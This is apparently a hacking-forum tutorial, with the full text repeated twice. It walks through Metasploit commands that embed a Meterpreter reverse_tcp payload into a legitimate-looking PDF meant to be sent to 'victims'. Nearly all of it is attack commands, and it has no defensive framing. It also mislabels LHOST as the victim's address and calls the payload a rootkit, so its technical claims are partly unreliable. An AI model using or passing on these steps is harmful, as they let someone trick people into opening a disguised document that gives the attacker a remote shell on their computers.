We will be adding a rootkit into an PDF file which we can send to victims and run them
What You Need
~ Kali Linux
~ Brains
~ Knowledge Of Metasploit
1) Run Metasploit By Opening Terminal and Typing msfconsole
2) We will search metasploit's database for the exploit for .pdf on windows, using this code:
Code:
msf > " search type:exploit platform:windows adobe pdf "
3) You Should See Something Like This
" msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe "
Copy " use exploit/windows/fileformat/adobe_pdf_embedded_exe "
Then Click Enter
4) Setting The Payload
Meterpreter Is Probrably The Best and Most Known Payload To Use
Now Type This
Code : msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp
5) Setting The Options For The Exploit
Now What You Need To Do Is View The Options By Typing "show options" and Clicking Enter
You Can See That We Must Provide An Existing PDF file To The INFILENAME Option In Which To Embed The Meterpreter Payload Call It Whatever You Want Such As tutorial.pdf Which Seems Kind Of Legit.
Code : msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME tutorial.pdf
Now You Need To Put The Output Name
Code : msf > exploit (adobe_pdf_embedded_exe) > set FILENAME tutorial.pdf
Now We Need The Opponent's IP Address
Im Going To Just Use 192.168.4.4 For An Example
Code : msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.4.4
6) Running The Exploit
Now We Have Everything Ready All We Need To Do Is Run The Exploit
Code : msf > exploit (adobe_pdf_embedded_exe) > exploit
Now Your Meterpeter Listener Is Working And Metasploit Has Created The tutorial.pdf
Thanks for reading, Comment If This Was Usefull.
What You Need
~ Kali Linux
~ Brains
~ Knowledge Of Metasploit
1) Run Metasploit By Opening Terminal and Typing msfconsole
2) We will search metasploit's database for the exploit for .pdf on windows, using this code:
Code:
msf > " search type:exploit platform:windows adobe pdf "
3) You Should See Something Like This
" msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe "
Copy " use exploit/windows/fileformat/adobe_pdf_embedded_exe "
Then Click Enter
4) Setting The Payload
Meterpreter Is Probrably The Best and Most Known Payload To Use
Now Type This
Code : msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp
5) Setting The Options For The Exploit
Now What You Need To Do Is View The Options By Typing "show options" and Clicking Enter
You Can See That We Must Provide An Existing PDF file To The INFILENAME Option In Which To Embed The Meterpreter Payload Call It Whatever You Want Such As tutorial.pdf Which Seems Kind Of Legit.
Code : msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME tutorial.pdf
Now You Need To Put The Output Name
Code : msf > exploit (adobe_pdf_embedded_exe) > set FILENAME tutorial.pdf
Now We Need The Opponent's IP Address
Im Going To Just Use 192.168.4.4 For An Example
Code : msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.4.4
6) Running The Exploit
Now We Have Everything Ready All We Need To Do Is Run The Exploit
Code : msf > exploit (adobe_pdf_embedded_exe) > exploit
Now Your Meterpeter Listener Is Working And Metasploit Has Created The tutorial.pdf
Thanks for reading, Comment If This Was Usefull.


![[Image: 2wMmsQs.gif]](https://i.imgur.com/2wMmsQs.gif)